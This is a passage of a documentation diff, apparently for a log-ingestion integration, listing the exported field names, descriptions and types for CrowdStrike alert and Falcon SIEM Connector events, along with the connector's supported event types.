+| crowdstrike.alert.parent_details.filename |  | keyword |
+| crowdstrike.alert.parent_details.filepath |  | keyword |
+| crowdstrike.alert.parent_details.local_process_id |  | keyword |
+| crowdstrike.alert.parent_details.md5 |  | keyword |
+| crowdstrike.alert.parent_details.process_graph_id |  | keyword |
+| crowdstrike.alert.parent_details.process_id |  | keyword |
+| crowdstrike.alert.parent_details.sha256 |  | keyword |
+| crowdstrike.alert.parent_details.timestamp |  | date |
+| crowdstrike.alert.parent_details.user_graph_id |  | keyword |
+| crowdstrike.alert.parent_details.user_id |  | keyword |
+| crowdstrike.alert.parent_details.user_name |  | keyword |
+| crowdstrike.alert.parent_process_id |  | keyword |
+| crowdstrike.alert.pattern_disposition |  | long |
+| crowdstrike.alert.pattern_disposition_description |  | keyword |
+| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.containment_file_system |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.critical_process_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.detect |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.inddet_mask |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.indicator |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_action_failed |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_parent |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_process |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.kill_subprocess |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.mfa_required |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.policy_disabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.process_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.quarantine_file |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.quarantine_machine |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_already_applied |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_failed |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.response_action_triggered |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.rooting |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.sensor_only |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.suspend_parent |  | boolean |
+| crowdstrike.alert.pattern_disposition_details.suspend_process |  | boolean |
+| crowdstrike.alert.pattern_id |  | keyword |
+| crowdstrike.alert.platform |  | keyword |
+| crowdstrike.alert.poly_id |  | keyword |
+| crowdstrike.alert.prevented |  | boolean |
+| crowdstrike.alert.process_end_time |  | date |
+| crowdstrike.alert.process_id |  | keyword |
+| crowdstrike.alert.process_start_time |  | date |
+| crowdstrike.alert.product |  | keyword |
+| crowdstrike.alert.protocol_anomaly_classification |  | long |
+| crowdstrike.alert.quarantined |  | boolean |
+| crowdstrike.alert.quarantined_files.filename |  | keyword |
+| crowdstrike.alert.quarantined_files.id |  | keyword |
+| crowdstrike.alert.quarantined_files.sha256 |  | keyword |
+| crowdstrike.alert.quarantined_files.state |  | keyword |
+| crowdstrike.alert.rule_group_id |  | keyword |
+| crowdstrike.alert.rule_group_name |  | keyword |
+| crowdstrike.alert.rule_instance_created_by |  | keyword |
+| crowdstrike.alert.rule_instance_id |  | keyword |
+| crowdstrike.alert.rule_instance_name |  | keyword |
+| crowdstrike.alert.rule_instance_version |  | keyword |
+| crowdstrike.alert.scan_id |  | keyword |
+| crowdstrike.alert.scenario |  | keyword |
+| crowdstrike.alert.seconds_to_resolved |  | long |
+| crowdstrike.alert.seconds_to_triaged |  | long |
+| crowdstrike.alert.severity |  | long |
+| crowdstrike.alert.severity_name |  | keyword |
+| crowdstrike.alert.sha1 |  | keyword |
+| crowdstrike.alert.sha256 |  | keyword |
+| crowdstrike.alert.show_in_ui |  | boolean |
+| crowdstrike.alert.source.account_azure_id |  | keyword |
+| crowdstrike.alert.source.account_domain |  | keyword |
+| crowdstrike.alert.source.account_name |  | keyword |
+| crowdstrike.alert.source.account_object_guid |  | keyword |
+| crowdstrike.alert.source.account_object_sid |  | keyword |
+| crowdstrike.alert.source.account_sam_account_name |  | keyword |
+| crowdstrike.alert.source.account_upn |  | keyword |
+| crowdstrike.alert.source.endpoint_account_object_guid |  | keyword |
+| crowdstrike.alert.source.endpoint_account_object_sid |  | keyword |
+| crowdstrike.alert.source.endpoint_address_ip4 |  | ip |
+| crowdstrike.alert.source.endpoint_host_name |  | keyword |
+| crowdstrike.alert.source.endpoint_ip_address |  | ip |
+| crowdstrike.alert.source.endpoint_ip_reputation |  | long |
+| crowdstrike.alert.source.endpoint_sensor_id |  | keyword |
+| crowdstrike.alert.source.ip_isp_classification |  | long |
+| crowdstrike.alert.source.ip_isp_domain |  | keyword |
+| crowdstrike.alert.source_products |  | keyword |
+| crowdstrike.alert.source_vendors |  | keyword |
+| crowdstrike.alert.start_time |  | date |
+| crowdstrike.alert.status |  | keyword |
+| crowdstrike.alert.tactic |  | keyword |
+| crowdstrike.alert.tactic_id |  | keyword |
+| crowdstrike.alert.tags |  | keyword |
+| crowdstrike.alert.target.account_name |  | keyword |
+| crowdstrike.alert.target.domain_controller_host_name |  | keyword |
+| crowdstrike.alert.target.domain_controller_object_guid |  | keyword |
+| crowdstrike.alert.target.domain_controller_object_sid |  | keyword |
+| crowdstrike.alert.target.endpoint_account_object_guid |  | keyword |
+| crowdstrike.alert.target.endpoint_account_object_sid |  | keyword |
+| crowdstrike.alert.target.endpoint_host_name |  | keyword |
+| crowdstrike.alert.target.endpoint_sensor_id |  | keyword |
+| crowdstrike.alert.target.service_access_identifier |  | keyword |
+| crowdstrike.alert.technique |  | keyword |
+| crowdstrike.alert.technique_id |  | keyword |
+| crowdstrike.alert.template_instance_id |  | keyword |
+| crowdstrike.alert.timestamp |  | date |
+| crowdstrike.alert.tree_id |  | keyword |
+| crowdstrike.alert.tree_root |  | keyword |
+| crowdstrike.alert.triggering_process_graph_id |  | keyword |
+| crowdstrike.alert.type |  | keyword |
+| crowdstrike.alert.updated_timestamp |  | date |
+| crowdstrike.alert.user_id |  | keyword |
+| crowdstrike.alert.user_name |  | keyword |
+| crowdstrike.alert.user_principal |  | keyword |
+| crowdstrike.alert.worker_node_name |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
+| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
+| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+
+
+### Falcon
+
+Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector.
+
+#### Falcon SIEM Connector configuration file
+
+By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector.
+
+Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect.
+
+Current supported event types are:
+- CustomerIOCEvent
+- DataProtectionDetectionSummaryEvent
+- DetectionSummaryEvent
+- EppDetectionSummaryEvent
+- IncidentSummaryEvent
+- UserActivityAuditEvent
+- AuthActivityAuditEvent
+- FirewallMatchEvent
+- RemoteResponseSessionStartEvent
+- RemoteResponseSessionEndEvent
+- CSPM Streaming events
+- CSPM Search events
+- IDP Incidents
+- IDP Summary events
+- Mobile Detection events
+- Recon Notification events
+- XDR Detection events
+- Scheduled Report Notification events
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword |
+| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword |
+| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword |
+| agent.version | Version of the agent. | keyword |
+| cloud.image.id | Image ID for the cloud instance. | keyword |
+| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date |
+| crowdstrike.event.AccountId |  | keyword |
+| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword |
+| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword |
+| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword |
+| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword |
+| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword |
+| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword |
+| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword |
+| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword |
+| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword |
+| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword |
+| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword |
+| crowdstrike.event.AgentId |  | keyword |
+| crowdstrike.event.AgentIdString |  | keyword |
+| crowdstrike.event.AggregateId |  | keyword |
+| crowdstrike.event.AnodeIndicators |  | nested |
+| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword |
+| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword |
+| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened |
+| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested |
+| crowdstrike.event.AuditKeyValues.Key |  | keyword |
+| crowdstrike.event.AuditKeyValues.ValueString |  | keyword |
+| crowdstrike.event.Category | IDP incident category. | keyword |
+| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword |
+| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword |
+| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested |
+| crowdstrike.event.CloudPlatform |  | keyword |
+| crowdstrike.event.CloudProvider |  | keyword |
+| crowdstrike.event.CloudService |  | keyword |
+| crowdstrike.event.Commands | Commands run in a remote session. | keyword |
+| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
+| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword |
+| crowdstrike.event.ContentPatternCounts |  | nested |
+| crowdstrike.event.ContentPatterns.ConfidenceLevel |  | long |
+| crowdstrike.event.ContentPatterns.ID |  | keyword |
+| crowdstrike.event.ContentPatterns.MatchCount |  | long |
+| crowdstrike.event.ContentPatterns.Name |  | keyword |
+| crowdstrike.event.CustomerId | Customer identifier. | keyword |
+| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword |
+| crowdstrike.event.Description |  | keyword |
+| crowdstrike.event.Destination |  | nested |
+| crowdstrike.event.Destination.Channel |  | keyword |
+| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword |
+| crowdstrike.event.DetectName | Name of the detection. | keyword |
+| crowdstrike.event.DetectionType |  | keyword |
+| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword |
+| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested |
+| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested |
+| crowdstrike.event.DomainName |  | keyword |
+| crowdstrike.event.EgressEventId |  | keyword |
+| crowdstrike.event.EgressSessionId |  | keyword |
+| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword |
+| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested |
+| crowdstrike.event.EventTimestamp |  | date |
+| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword |
+| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested |
+| crowdstrike.event.ExecutablesWritten.FileName |  | keyword |
+| crowdstrike.event.ExecutablesWritten.FilePath |  | keyword |
+| crowdstrike.event.ExecutablesWritten.Timestamp |  | keyword |
+| crowdstrike.event.ExecutionID |  | keyword |
+| crowdstrike.event.ExecutionMetadata.ExecutionDuration |  | long |
+| crowdstrike.event.ExecutionMetadata.ExecutionStart |  | date |
+| crowdstrike.event.ExecutionMetadata.ReportFileName |  | keyword |
+| crowdstrike.event.ExecutionMetadata.ResultCount |  | long |
+| crowdstrike.event.ExecutionMetadata.ResultID |  | keyword |
+| crowdstrike.event.ExecutionMetadata.SearchWindowEnd |  | date |
+| crowdstrike.event.ExecutionMetadata.SearchWindowStart |  | date |
+| crowdstrike.event.FalconHostLink |  | keyword |
+| crowdstrike.event.FileCategoryCounts |  | nested |
+| crowdstrike.event.FileName |  | keyword |
+| crowdstrike.event.FilePath |  | keyword |
+| crowdstrike.event.FileType.Type.CategoryID |  | keyword |
+| crowdstrike.event.FileType.Type.CategoryName |  | keyword |
+| crowdstrike.event.FileType.Type.Description |  | keyword |
+| crowdstrike.event.FileType.Type.ID |  | keyword |
+| crowdstrike.event.FileType.Type.Name |  | keyword |
+| crowdstrike.event.FilesAccessed.FileName |  | keyword |
+| crowdstrike.event.FilesAccessed.FilePath |  | keyword |
+| crowdstrike.event.FilesAccessed.Timestamp |  | date |
+| crowdstrike.event.FilesEgressedCount |  | long |
+| crowdstrike.event.FilesWritten.FileName |  | keyword |
+| crowdstrike.event.FilesWritten.FilePath |  | keyword |
+| crowdstrike.event.FilesWritten.Timestamp |  | date |
+| crowdstrike.event.Finding | The details of the finding. | keyword |
+| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float |
+| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean |
+| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean |
+| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean |
+| crowdstrike.event.GrandParentCommandLine |  | keyword |
+| crowdstrike.event.GrandParentImageFileName |  | keyword |
+| crowdstrike.event.GrandParentImageFilePath |  | keyword |
+| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword |
+| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword |
+| crowdstrike.event.GrandparentImageFilePath |  | keyword |
+| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text |
+| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword |
+| crowdstrike.event.Hostname |  | keyword |
+| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword |
+| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword |
+| crowdstrike.event.IOARuleGroupName |  | keyword |
+| crowdstrike.event.IOARuleInstanceID |  | keyword |
+| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long |
+| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword |
+| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword |
+| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword |
+| crowdstrike.event.IPv4 |  | ip |
+| crowdstrike.event.IPv6 |  | ip |
+| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword |
+| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword |
+| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword |
+| crowdstrike.event.IncidentType | Incident Type | keyword |
+| crowdstrike.event.Ipv | Protocol for network request. | keyword |
+| crowdstrike.event.IsClipboard |  | boolean |
+| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date |
+| crowdstrike.event.ItemType | Type of raw intelligence. | keyword |
+| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword |
+| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword |
+| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long |
+| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword |
+| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested |
+| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword |
+| crowdstrike.event.LocalIPv6 |  | ip |
+| crowdstrike.event.LogonDomain |  | keyword |
+| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword |
+| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword |
+| crowdstrike.event.MatchCount | Number of firewall rule matches. | long |
+| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long |
+| crowdstrike.event.MatchedClassification.ID |  | keyword |
+| crowdstrike.event.MatchedClassification.Name |  | keyword |
+| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested |
+| crowdstrike.event.MobileAppsDetails.AndroidAppLabel |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AppIdentifier |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AppInstallerInformation |  | keyword |
+| crowdstrike.event.MobileAppsDetails.DexFileHashes |  | keyword |
+| crowdstrike.event.MobileAppsDetails.ImageFileName |  | keyword |
+| crowdstrike.event.MobileAppsDetails.IsBeingDebugged |  | keyword |
+| crowdstrike.event.MobileAppsDetails.IsContainerized |  | keyword |
+| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested |
+| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested |
+| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date |
+| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested |
+| crowdstrike.event.Name |  | keyword |
+| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested |
+| crowdstrike.event.NetworkAccesses.AccessTimestamp |  | keyword |
+| crowdstrike.event.NetworkAccesses.AccessType |  | keyword |
+| crowdstrike.event.NetworkAccesses.ConnectionDirection |  | keyword |
+| crowdstrike.event.NetworkAccesses.IsIPV6 |  | keyword |
+| crowdstrike.event.NetworkAccesses.LocalAddress |  | keyword |
+| crowdstrike.event.NetworkAccesses.LocalPort |  | keyword |
+| crowdstrike.event.NetworkAccesses.Protocol |  | keyword |
+| crowdstrike.event.NetworkAccesses.RemoteAddress |  | keyword |
+| crowdstrike.event.NetworkAccesses.RemotePort |  | keyword |
+| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword |
+| crowdstrike.event.NotificationId | ID of the generated notification. | keyword |
+| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long |
+| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long |
+| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword |
+| crowdstrike.event.Objective | Method of detection. | keyword |
+| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested |
+| crowdstrike.event.OperationName | Event subtype. | keyword |
+| crowdstrike.event.OriginWebLocations |  | flattened |
+| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword |
+| crowdstrike.event.ParentImageFilePath |  | keyword |
+| crowdstrike.event.ParentProcessId |  | long |
+| crowdstrike.event.PatternDispositionDescription |  | keyword |
+| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Detect |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.InddetMask |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Indicator |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillActionFailed |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillParent |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillProcess |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillSubProcess |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.OperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.PolicyDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.ProcessBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.QuarantineFile |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.QuarantineMachine |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Rooting |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SensorOnly |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SuspendParent |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SuspendProcess |  | boolean |
+| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer |
+| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword |
+| crowdstrike.event.PlatformId |  | keyword |
+| crowdstrike.event.PlatformName |  | keyword |
+| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword |
+| crowdstrike.event.PolicyId | The ID of the associated Policy. | long |
+| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword |
+| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date |
+| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword |
+| crowdstrike.event.ProcessId |  | long |
+| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword |
+| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword |
+| crowdstrike.event.ReferrerUrl |  | keyword |
+| crowdstrike.event.Region |  | keyword |
+| crowdstrike.event.RelatedClassifications.ID |  | keyword |
+| crowdstrike.event.RelatedClassifications.Name |  | keyword |
+| crowdstrike.event.ReportFileReference |  | keyword |
+| crowdstrike.event.ReportID |  | keyword |
+| crowdstrike.event.ReportName |  | keyword |
+| crowdstrike.event.ReportType |  | keyword |
+| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened |
+| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword |
+| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword |
+| crowdstrike.event.ResourceName | Resource name if any. | keyword |
+| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword |
+| crowdstrike.event.ResponseAction |  | keyword |
+| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested |
+| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword |
+| crowdstrike.event.RuleAction | Firewall rule action. | keyword |
+| crowdstrike.event.RuleId |  | keyword |
+| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword |
+| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword |
+| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword |
+| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword |
+| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword |
+| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword |
+| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword |
+| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword |
+| crowdstrike.event.ScanResults | Array of scan results. | nested |
+| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword |
+| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword |
+| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword |
+| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword |
+| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword |
+| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword |
+| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword |
+| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer |
+| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword |
+| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword |
+| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword |
+| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword |
+| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword |
+| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword |
+| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword |
+| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword |
+| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword |
+| crowdstrike.event.State | Identity-based detection or incident status. | keyword |
+| crowdstrike.event.Status | CrowdStrike status. | keyword |
+| crowdstrike.event.StatusMessage |  | keyword |
+| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean |
+| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword |
+| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested |
+| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested |
+| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword |
+| crowdstrike.event.TargetAccountName | Target user name. | keyword |
+| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword |
+| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword |
+| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword |
+| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword |
+| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword |
+| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword |
+| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword |
+| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date |
+| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested |
+| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword |
+| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
+| crowdstrike.event.UserDepartment |  | keyword |
+| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword |
+| crowdstrike.event.UserMapped |  | boolean |
+| crowdstrike.event.UserName |  | keyword |
+| crowdstrike.event.UserNotified |  | boolean |
+| crowdstrike.event.UserTitle |  | keyword |
+| crowdstrike.event.UserUUID |  | keyword |
+| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword |
+| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword |
+| crowdstrike.metadata.customerIDString | Customer identifier | keyword |
+| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword |
+| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer |
+| crowdstrike.metadata.version | Schema version | keyword |
+| data_stream.dataset | Data stream dataset name. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| destination.as.organization.name | Organization name. | keyword |
+| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
+| destination.geo.city_name | City name. | keyword |
+| destination.geo.continent_name | Name of the continent. | keyword |
+| destination.geo.country_iso_code | Country ISO code. | keyword |
+| destination.geo.country_name | Country name. | keyword |
+| destination.geo.location | Longitude and latitude. | geo_point |
+| destination.geo.region_iso_code | Region ISO code. | keyword |
+| destination.geo.region_name | Region name. | keyword |
+| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
+| destination.port | Port of the destination. | long |
